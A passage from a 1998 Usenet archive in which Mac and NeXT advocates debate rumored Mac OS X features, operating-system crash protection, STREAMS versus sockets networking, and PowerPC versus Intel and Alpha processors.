- Runs Carbon applications natively and older Mac applications in a Blue Box
without the box
- Runs YellowBox applications natively
- Uses TrueType fonts
- Will initially only run on G3 processors (and possibly not some of them -
iMac)
- Will support Apple Script with scriptable applications
- Will have some variant of Mach micro kernel
- Will use QuickDraw Enhanced as its only supported graphics API
- Will have QuickTime
- Will have pre-press Color support but NOT PANTONE
- Will have Microsoft Internet Explorer
- Will require disk de-fragmentation tools
- Will have a "Finder" based on Carbon APIs
- Will use case insensitive file names
- Will not have built in Display Postscript
- Will only use bitmap previews of EPS files
- Will not support remote device independent vector graphics
- Will not support telnet or other shell environments out of the box
- Will not provide standard unix utilities out of the box
(How could they work with HFS+ anyway)
- Will not support UFS or NFS out of the box
- Will have no built in remote administration other than Netinfo
- Will not have standard configuration via rc scripts
- Will not support UNIX services such as cron, autonfsmountd, lpd, telnetd,
nfsd, inetd, lookupd, ypbind, syslogd, etc.
- Will have sockets API support but not STREAMS
- Will not have ubiquitous NeXT services, Terminal services, Open Sesame,
TeXview, etc.
- Will not have Digital Librarian
- Will not have Digital Webster
- Will not have TeX
- Will not have man pages
- Will not have a Dock or a Shelf
- Will not support ubiquitous text services (Due to Carbon applications not
using Text objects)
- Will not support ubiquitous spell checking and other text services
- Will not support multiple paste-boards
- Will not support ubiquitous drag and drop between Carbon Apps and YellowBox
Apps
- Will not have an OO API for Quicktime other than the Java API
- Will not have a standard 3D kit
- Will not have FAT binaries (Will not support more than one CPU
architecture)
- Will not have Intel version
- Will not have cross-compilation (Will not support more than one CPU
architecture)
- Will not be POSIX certified (but may support many of the APIs)
- Will not have X-Windows support out of the box
- Will not have MAC Inits
- Will not have patched trap tables
- Will not change display resolution without reboot
- Will support multiple monitors with multiple graphics cards
- Will not support high color fidelity dithering in low color modes
- Will not have standard GNU utilities out of the box (gnutar, gzip,...)
What have I forgotten ?
Will MacOS-X contain a single line of code from Openstep outside the
YellowBox ? MacOS-X will have a new kernel, new file system, new graphics
system, no command line utilities,...
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Wed, 05 Aug 1998 17:54:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qa688$i79$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7kmh$bro$1@nnrp1.dejanews.com> <6q7ppb$oae$1@nnrp1.dejanews.com> <6q8q1g$fd$1@halcyon.com>
In article <6q8q1g$fd$1@halcyon.com>,
tzs@halcyon.com (Tim Smith) wrote:
> It's remotely possible that strcpy uses the toolbox.
MSL doesn't use the toolbox for strcpy.
> On systems (I
> don't know if PPC is one), a good way to implement strcpy is to first
> find the length of the string, and then copy it. (This can be fast, if
> it is safe to read past the end of the source string, because you can
> use tricks that let you scan the string 4 bytes at a time, and then once
> you know the size, you can use an optimized move).
Why not do the assignment at the same time as the compare?
> If your C library
> implements strcpy that way, the copy part might well be a call to
> BlockMove.
BlockMove, contrary to Apple's documentation, is no faster than just doing the
assignment using a for loop.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: erick@sfu.ca (Erick Bryce Wong)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 5 Aug 1998 17:56:51 GMT
Organization: Simon Fraser University
Message-ID: <6qa6d3$bll$1@morgoth.sfu.ca>
References: <35C71113.5BEC@bellatlantic.net> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com>
Donald Brown <don.brown@cesoft.com> wrote:
>quinlan@intergate.bc.ca wrote:
>>2) How well does the operating system protect us from program bugs?
>
>Win95 - B+
>MacOS 6.x and earlier - C-
>MacOS 7.x - C to C+
>MacOS 8 - B
On the other hand, my old Mac Plus running 6.0.1 almost never crashed on me
in 8 years of use. I was freaked the first time MS Word 3.0 crashed while
I was typing up a relatively long document :).
Perhaps it's true what they say about programs being better-tested back then.
-- Erick
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 5 Aug 98 13:26:13 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1EE0DFF-10611@206.165.43.42>
References: <joe.ragosta-0508980827520001@wil62.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>
>I think your timeline is too late. The rumors I've seen say that G4 chips
>will be shipping in quantity in the first quarter of 1999. Samples are
>certainly expected before the end of 1998.
That was before the SOI announcement. Even if G4 ships, will the speed
differential be enough to justify the extra cost of Apple using it?
Remember that the only rumored G4 version is 64-bit, which won't be
useable, out-of-the-box, with any existing Mac.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Wed, 05 Aug 1998 18:07:49 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qa71m$jq7$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net>
In article <joe.ragosta-0508980820070001@wil62.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> More importantly,
>
> How well does the OS work in real life.
>
> If you had an OS that never crashed in real life (theoretically), would it
> be a bad OS just because it has 10,000 potential holes? Of course not.
>
> Real life performance is what matters--not your theory.
Wrong, it would still be a poor OS (in this respect). Where I work, we design
embedded systems without using an operating system than can protect the
system from errors in our code. That's ok because our hardware only runs our
software, we test the crap out of it and it's pretty simple (<15,000 LOC). So
our system has an average uptime measure in months.
The operating system is still prone to crashing, it's just that we can work
around that in our problem domain.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: Junking STREAMS?
Message-ID: <nagleEx8GxM.4uz@netcom.com>
Organization: Netcom On-Line Services
References: <35C87CFA.CEAE0167@milestonerdl.com>
Date: Wed, 5 Aug 1998 20:29:46 GMT
Sender: nagle@netcom6.netcom.com
m rassbach <mark@milestonerdl.com> writes:
>Apple (Steve Jobs and Avie Tevanian) reportedly are rejecting Open
>Transport's flexible, industry-standard STREAMS architecture for Mac OS
>X, despite overwhelming developer opinion that it is the best technical
>approach.
>Is this really happening?
What "overwhelming developer opinion?" Have you read the
Open Transport spec? Wierd process management and no blocking.
If you had a real scheduler underneath, you wouldn't do it that way.
But it doesn't matter; MacOS X is still vaporware and far enough
away that Apple will probably change OS direction twice before the
projected ship date, based on their previous behavior.
John Nagle
From: les@vvvrfx.rfx.com (Les)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Wed, 5 Aug 1998 11:10:11 -0700
Organization: EarthLink Network, Inc.
Message-ID: <MPG.10323fde8de3070b98968c@news.earthlink.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <35c75454.0@news.depaul.edu> <joe.ragosta-0508980814330001@wil62.dol.net>
In article <joe.ragosta-0508980814330001@wil62.dol.net>,
joe.ragosta@dol.net says...
> > > I'm still waiting for someone to post some code that will crash even Win95,
> > > not to mention WinNT.
> >
> > I would, but Microsoft would probably frown on someone posting
> > NT itself. ;^)
>
> All you need to do is say "setup.exe". That's guaranteed to cause problems.
>
> --
> Regards,
> Joe Ragosta
Is that the best effort, on this thread !
Weak.
My NT box's have crashed a total of 3 times in the last 2 or so years.
And they don't sit idle too much.
-Les
--
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: A new winkle to the macos x flamage?
Date: Wed, 05 Aug 1998 11:22:06 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0508981122070001@sdn-ar-001casbarp241.dialsprint.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
Too bad macosrumors has printed things before that have terribly hurt any
credibility they have, but this does make LOTS OF SENSE:
Straight from the horse's mouth....
This comes to us from a reader who had the opportunity to speak
with an Apple Rep and shares with us, in summary, information indicative
of what most
Representatives are saying to customers at present:
<snip>
Mac OS X
Almost forgot this part. I run an 8600/200, and I asked him
about support for the new OS. He went, "Oh,
that's not a Mach 5 (Go Speedracer!). Apple will support
these Macs very soon after the first release of OSX.
Your Mac will be supported by Christmas. You have to wait,
but it will run." Comforting to say the least.
Well that's about it. The G4 is slated to come out June/July
99, he said July/August more likely.
From: mmp5@axe.humboldt.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 05 Aug 1998 20:43:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qag5l$4g6$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q89qq$mvp$1@nnrp1.dejanews.com>
In article <6q89qq$mvp$1@nnrp1.dejanews.com>
,
quinlan@intergate.bc.ca wrote:
OTOH, I
> cannot prevent application bugs from crashing my system without a little help
> from the OS. I am not sure how you could argue that, in this sense, the Mac OS
> provides protection than is as good as Windows 95's because it's protection is
> a strict subset of Window 95's.
>
Well there is 'breaking' the OS, a term I use
when a crash causes problems when the system
is rebooted, and 'crashing' the OS, a term I would
use to describe an application causing the OS to
become unusable, but not neccessarily 'breaking'
it. In the systems I support at work, Win95
seems to crash about as often as OS 7.6.1, but
Win95 crashes more often cause registry
problems that require reinstalling the OS. When
a Mac extension becomes corrupted during a
crash the I often fix the problem by replacing it
with an extension from another machine,
however this is not as easy a solution on 95.
Rather than play how many parts of the registry
did that app corrupt it easier (though more time
consuming than replacing an extension or two)
to restore the registry from back up. We've only
been using OS8.1 for a few months now, but it
seems to crash much less frequently than 95 or
7.6.1.
And don't even get me started on what an
application crash (that crashes the OS) can do to
NT4, or what a pain it is to restore.
> Brian Quinlan
> quinlan@intergate.bc.ca
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A couple of predictions
Date: 5 Aug 1998 21:03:32 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qahb4$69k$1@nnrp03.primenet.com>
References: <6q7s77$spj@newsb.netnews.att.com> <35c8ccc6.7074422@198.0.0.100> <6qa006$c0q$1@nnrp02.primenet.com> <6qa4sq$la$1@plo.sierra.com>
Earl Malmrose <earl.malmrose@nospam.sierra.com> wrote:
: John Jensen wrote in message <6qa006$c0q$1@nnrp02.primenet.com>...
: >
: >I haven't run NT5. As I scanned the features I didn't really see
: >anything I _had_ to have. If you can point out some fun stuff I might
: >give it a try (we have a beta in the office).
: Fun stuff? It should be able to run games that require DirectX 5. That's a
: pretty good reason to upgrade.
I have a Micron Millenium at home, not a real 3D speedster, but it might
be fun to try out. I have a STB Velocity 128 3D at work, which sounds
more promising, but it probably wouldn't be good to be seen doing to much
3D there ;-).
John
From: Patrick O'Neil <poneil@genetics.utah.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 05 Aug 1998 14:22:54 +0000
Organization: University of Utah Computer Center
Message-ID: <35C86ABE.4EE5@genetics.utah.edu>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Bill Moyer wrote:
>
> In article <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> macghod@concentric.net (Steve Sullivan) writes:
> >
> >You take that dog of a os windows out of the equation, and the p2 will be
> >dramatically improved. And different os's would change the result of the
> >mac side.
> >
> >I believe a g3 300 and a p2 400 are about the same speed. If I saw a test
> >where the two were compared using 15 photoshop filters, I would be more
> >inclined to take that number (and no 4 photoshop actions does not cut it)
> >BUT someone pointed me out to a mathematica benchmark, and the p2 400
> >running linux POUNDED THE LIVING CRAP OUT OF THE G3 300. It was something
> >like %30 faster.
>
> If you eschew with Windows, then what's the point in using
> an Intel processor at all? Alphas are faster and cheaper, and
> will run Linux like gangbusters.
>
> If you're going to compare a processor against a P2, you'd
> might as well assume that the P2 is running Windows. The only
> people who *need* a P2 are those who are locked into Microsoft's
> trap.
There is one simple reason...there is little support in the software
industry, PERIOD, for the Alpha. Sure, if ALL you use are linux apps
under GPL so you can compile it for your Alpha, no problem, but if you
are like me (there happens to be a LARGE number of us), you have more
than one os on your computer so you can run certain software under
its appropriate os. Just try to find any modern games other than
idSoftware games, for instance, that run on Linux. What's that? You
can't find any? That's right...for now, at least.
I run RedHat Linux 5.1 MOST of the time anymore, but on occasion I have
to reboot to OS/2 to do some things and when I want to run a game, I
almost invariably have to reboot to Win95. You can't get Win95 (or OS/2
for that matter) for an Alpha...and NT doesn't count because you can't
run Winblows games in NT on an Alpha -they are almost all exclusively
made for i386 processors.
Now, as for the G3, or PPC...if it were still possible to buy the
components (motherboard, CPU(s), etc) without having to shell out
for an entire (nasty) Mac computer (with its dismal MacOS), I would
do it for a toy...I could then run BeOS and PPCLinux on it (notice,
I do not desire MacOS to come anywhere near the CPU to hobble the
entire thing). Unfortunately, I STILL wouldn't be able to play most
games on it (even if MacOS was on it...most games, this is a fact,
are made for the i386 systems - those that produce for both almost
invariably produce a Mac version much later than their primary i386
version).
Next point...I have, at present, a P166MMX (oc'd to 188). In absolute
truth, I cannot tell the difference between it and the G3 in a lab
next to the lab I work in at my university. In no subjective way,
and I was expecting a significant difference given the hype, can
I tell the difference between my Pentium MMX system and that G3.
It may well be likely that I would notice if I rendered a graphic
with POVRAY on both, or rendered with RayDream Studio...I don't know,
but what I do know is that all the Macs, new and old alike, crash
far more often (HARD crash requiring a total reboot) than my PC running
EITHER OS/2 or Linux (I can't comment on Windoze since I really don't
run it often enough to crash it much).
To complete this nonsense: when idSoftware, Interplay, Sierra, etc,
start making games for the Alpha (be they for NT or Linux), THEN it
becomes viable. When Stardivision produces a version of StarOffice
for the Alpha, then it becomes more attractive. When Corel produces
a version of WordPerfect for linux or NT for the Alpha, as well as
CorelDraw, then it becomes more attractive and viable. Hell, when
these are released in a form that would run on PPC linux, then the
PPC systems begin to look better...but then, there is that problem
of not being able to buy the components sans MacOS and all the other
unnecessary Apple baggage (like floppys that wont manually eject,
damn integrated CDROMs, no real way to change motherboards - and a
daughter card doesn't count...that can only upgrade you so far, a
damn monitor that doesn't allow you to use the entirety of the visable
monitor space - that half-inch of dead black border drives me freakin'
nuts - it ain't necessary for PC monitors to have that dead space, so
there is no need for the Macs to have it...at least allow the user to
change it EASILY like you can on any standard PC monitor with a mere
press of a button).
The short of it is...the Alpha is nice if you like to limit your
software choices to the VERY expensive, or to ONLY GPL stuff that
you can compile yourself. That eliminates most, if not ALL commercial
software company software.
patrick
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Message-ID: <forrestDELETE-THIS!-0508981425340001@term4-14.vta.west.net>
References: <6qa5sl$4pm1@onews.collins.rockwell.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Wed, 05 Aug 1998 14:25:33 -0700
NNTP-Posting-Date: Wed, 05 Aug 1998 14:25:57 PDT
In article <6qa5sl$4pm1@onews.collins.rockwell.com>,
embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
> - Looks just like MacOS-8.x
Good Thing.
> - Has resource forks in HFS+ and all related incompatibilities
Semi-good thing. Resource forks are good, incompatibilities are bad. I was
looking forward to the NeXT way of things (something Bento-like, wasn't
it? I'm not a NeXT user, but I read a big report on NeXT's method of using
"forks" a while back, and I liked it).
> - Runs Carbon applications natively and older Mac applications in a Blue Box
> without the box
Good Thing.
> - Runs YellowBox applications natively
Good Thing.
> - Uses TrueType fonts
Good thing.
> - Will initially only run on G3 processors (and possibly not some of them -
> iMac)
Bad but grudingly acceptable thing.
> - Will support Apple Script with scriptable applications
Good thing.
> - Will have some variant of Mach micro kernel
Good thing.
> - Will use QuickDraw Enhanced as its only supported graphics API
Actually, doesn't it eQD support DPS calls, but simply not have PS
language support? I read something to this extent.
> - Will have QuickTime
Good thing.
> - Will have pre-press Color support but NOT PANTONE
Bah. ColorSynch kicks ass.
> - Will have Microsoft Internet Explorer
Acceptable, so long as I'm not forced to use it.
> - Will require disk de-fragmentation tools
Acceptable.
> - Will have a "Finder" based on Carbon APIs
Good thing.
> - Will use case insensitive file names
Good thing.
> - Will not have built in Display Postscript
See above.
> - Will only use bitmap previews of EPS files
Acceptable.
> - Will not support remote device independent vector graphics
Bad thing.
> - Will not support telnet or other shell environments out of the box
This is unknown.
> - Will not provide standard unix utilities out of the box
> (How could they work with HFS+ anyway)
Also unknown.
> - Will not support UFS or NFS out of the box
I heard it would, but that could be been wrong.
> - Will have no built in remote administration other than Netinfo
Eh... acceptable, I think.
> - Will not have standard configuration via rc scripts
Is this known?
> - Will not support UNIX services such as cron, autonfsmountd, lpd, telnetd,
> nfsd, inetd, lookupd, ypbind, syslogd, etc.
Is this known?
> - Will have sockets API support but not STREAMS
Actually, it'll have an OpenTransport layer on top of the standard (?)
sockets layer, akin to how MacTCP's sockets still run on top of
OpenTransport's streams.
> - Will not have ubiquitous NeXT services, Terminal services, Open Sesame,
> TeXview, etc.
In YB it will, but I suppose that's not ubiquitous.
> - Will not have Digital Librarian
> - Will not have Digital Webster
Bad things.
> - Will not have TeX
Acceptable.
> - Will not have man pages
Even better - AppleGuide.
> - Will not have a Dock or a Shelf
Good thing. Finder kicks Browser's ass.
> - Will not support ubiquitous text services (Due to Carbon applications not
> using Text objects)
Carbon apps won't use the YB Text objects, but will have their own, so
it's semi-ubiquitous. Although I do remember hearing something about
mixing Carbon and YB code somewhere, so future Carbon apps will likely use
the YB Text object.
> - Will not support ubiquitous spell checking and other text services
Same thing here.
> - Will not support multiple paste-boards
I'm a bit unclear on this, not being a NeXT user. Care to explain for me?
> - Will not support ubiquitous drag and drop between Carbon Apps and YellowBox
> Apps
Understandable, but still a Bad Thing.
> - Will not have an OO API for Quicktime other than the Java API
Bad Thing.
> - Will not have a standard 3D kit
QuickDraw3D, and possibly OpenGL.
> - Will not have FAT binaries (Will not support more than one CPU
> architecture)
It'll work with fat binaries, but there's no need for them.
> - Will not have Intel version
Understandable, but still a Bad Thing.
> - Will not have cross-compilation (Will not support more than one CPU
> architecture)
Bad Thing.
> - Will not be POSIX certified (but may support many of the APIs)
Acceptable.
> - Will not have X-Windows support out of the box
Acceptable.
> - Will not have MAC Inits
Good Thing.
> - Will not have patched trap tables
Good Thing.
> - Will not change display resolution without reboot
Is this true!? That's one of the Mac's big touted easy-of-use features
over Windows. They'd never take it away... would they?
> - Will support multiple monitors with multiple graphics cards
Good Thing.
> - Will not support high color fidelity dithering in low color modes
Bad Thing.
> - Will not have standard GNU utilities out of the box (gnutar, gzip,...)
Acceptable.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 5 Aug 1998 20:59:48 GMT
Organization: none
Message-ID: <6qah44$g4n$1@server.signat.org>
References: <35C87CFA.CEAE0167@milestonerdl.com> <6qa0e6$hns$1@lwnws01.ne.highway1.com>
<35c8b189.0@nnrp1.news.uk.psi.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: richard@brainstorm.co.uk.
In <35c8b189.0@nnrp1.news.uk.psi.net> Richard Frith-Macdonald wrote:
> >I thought that sockets were the standard, and that's why they are sticking
> >with it. Although, and arguably, streams are technically superior, the
net
> >gains of using them, versus fighting the industry standard washes out
their
> >use. I thought that sticking with streams would be the niche market move.
> >Maybe I have this wrong, but aren't sockets the widely used standard, on
unix
> >boxes and otherwise?
I didn't get John's reply because I switched servers, so I'll have to reply
to John here.
Basically STREAMS is just as much a standard as Sockets is - period. In
fact up until the net based distributions of the free BSD's started, it was
also far more popular. Currently every major commecial Unix uses them,
including Mk7.3.
Sockets is two things, the code that runs the network (more accurately
Net/3) and an API on top. STREAMS is likewise two (well more) things, the
DLPI and TPI drivers that run the network, and the XTI interface on top.
The _current_ Mac implementation of STREAMS, OT, includes several API's
including the XTI, their own, and "classic" MacOS shims. Under most other
Unixen STREAMS provides two interfaces, XTI and Sockets. Yes, STREAMS can
run Sockets code, that's the important thing here.
If Apple were to simply use STEAMS, they could 100% emulate the current OT
interfaces offered to the MacOS side of things, as well as 100% emulate the
Sockets side of things to the current YB apps. However since XTI is a
superset of sockets, the opposite is impossible - which is why their current
plans seem so brainless.
> You might be interested in a recent STREAMS thread in the linux developers
newsgroup.
> Seems Linux will NOT be supporting streams due to inherant performance
problems with
> the streams architecture. Consensus there is that streams are technically
inferior
> to sockets, and the streams architecture is generally being abandoned by
mainstream
> unix vendors.
Suppose one would expect as much from the Linux people, where speed always
seems to win out over usability. STREAMS has no "inherant performance
problems", as most implementations hard-link the modules together and thus
have the same rough call performance as the BSD code. Moreover there's
absolutely no doubt that STREAMS is technically superior, and by no means is
it being adbandoned.
Maury
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 5 Aug 1998 21:54:55 GMT
Organization: Digital Fix Development
Message-ID: <6qakbf$f8f$1@news.digifix.com>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <forrestDELETE-THIS!-0508981425340001@term4-14.vta.west.net>
In-Reply-To: <forrestDELETE-THIS!-0508981425340001@term4-14.vta.west.net>
On 08/05/98, Forrest Cameranesi wrote:
>In article <6qa5sl$4pm1@onews.collins.rockwell.com>,
>embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
>
>> - Looks just like MacOS-8.x
>
>Good Thing.
>
That is subjective.. ;-)
<snip>
>> - Will use QuickDraw Enhanced as its only supported graphics API
>
>Actually, doesn't it eQD support DPS calls, but simply not have PS
>language support? I read something to this extent.
>
It supports Postscript style drawing (so, REAL lines, centered
weights, miters, clipping etc.. yes) but no language.
PDF is the engine... eQD sits on top of that, and alongside
the YB frameworks.
>> - Will have QuickTime
>
>Good thing.
>
>> - Will have pre-press Color support but NOT PANTONE
>
>Bah. ColorSynch kicks ass.
>
Not the same thing. Pantone is a good thing too. I've not
heard that Pantone color picking will be going away.
>> - Will have Microsoft Internet Explorer
>
>Acceptable, so long as I'm not forced to use it.
>
>> - Will require disk de-fragmentation tools
>
>Acceptable.
>
No, its not. Although if UFS is supported and it wouldn't
require de-frag, why would HFS+?
>> - Will have a "Finder" based on Carbon APIs
>
>Good thing.
>
Why would anyone give a rats butt WHAT the Finder is written
in? If its not extendable, we all suffer, and Carbon seems to
indicate that.
>> - Will not have man pages
>
>Even better - AppleGuide.
>
AppleGuide is dead.
>> - Will not have a Dock or a Shelf
>
>Good thing. Finder kicks Browser's ass.
>
Again, a subjective thing.
>> - Will not support ubiquitous text services (Due to Carbon
applications not
>> using Text objects)
>
>Carbon apps won't use the YB Text objects, but will have their own,
so
>it's semi-ubiquitous. Although I do remember hearing something about
>mixing Carbon and YB code somewhere, so future Carbon apps will
likely use
>the YB Text object.
>
While you can mix Carbon and YB calls in YB apps, you can't do
that in Carbon apps. You have none of the run-loop infrastucture that
YB uses present.
>> - Will not change display resolution without reboot
>
>Is this true!? That's one of the Mac's big touted easy-of-use
features
>over Windows. They'd never take it away... would they?
>
Well, its been possible to do this in DR1 without rebooting,
so I doubt they'd that that away.
>> - Will support multiple monitors with multiple graphics cards
>
>Good Thing.
>
>> - Will not support high color fidelity dithering in low color modes
>
>Bad Thing.
>
There isn't any evidence that this is going to be the case.
>> - Will not have standard GNU utilities out of the box (gnutar,
gzip,...)
>
>Acceptable.
>
No, its not. Having a natively shipped, supported,
universally accepted compression/archiving capability is a VERY GOOD
THING.
Also, since Installer.app will require them, it probably isn't
the case with these two anyways.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: datamagik@usa.net (Jay Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A new winkle to the macos x flamage?
Date: Wed, 05 Aug 1998 15:55:36 -0600
Organization: DATAMAGIK € Systems, Software, & Design Engineering
Message-ID: <datamagik-0508981555360001@eccr230mac228.colorado.edu>
References: <macghod-0508981122070001@sdn-ar-001casbarp241.dialsprint.net>
Well it sounds like you can just ask your local Apple rep, even if you
(for whatever reason) question <http://www.macosrumors.com/>...
-Jay
In article <macghod-0508981122070001@sdn-ar-001casbarp241.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Too bad macosrumors has printed things before that have terribly hurt any
> credibility they have, but this does make LOTS OF SENSE:
>
> Straight from the horse's mouth....
>
> This comes to us from a reader who had the opportunity to speak
> with an Apple Rep and shares with us, in summary, information indicative
> of what most
> Representatives are saying to customers at present:
> <snip>
>
> Mac OS X
> Almost forgot this part. I run an 8600/200, and I asked him
> about support for the new OS. He went, "Oh,
> that's not a Mach 5 (Go Speedracer!). Apple will support
> these Macs very soon after the first release of OSX.
> Your Mac will be supported by Christmas. You have to wait,
> but it will run." Comforting to say the least.
>
> Well that's about it. The G4 is slated to come out June/July
> 99, he said July/August more likely.
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 datamagik@usa.net
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 5 Aug 1998 23:01:41 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qao8l$hd3$1@nnrp02.primenet.com>
References: <6qa5sl$4pm1@onews.collins.rockwell.com>
Erik Buck writes:
> [...]
>I want to cut through the marketing and get some real definition of this
>thing Apple is building.
> [...]
It seems NEXTSTEP slowly shrinks while Linux slowly grows.
John
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Wed, 05 Aug 1998 16:05:35 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-0508981605350001@ip-26-060.phx.primenet.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qa8a7$lvs$1@nnrp1.dejanews.com>
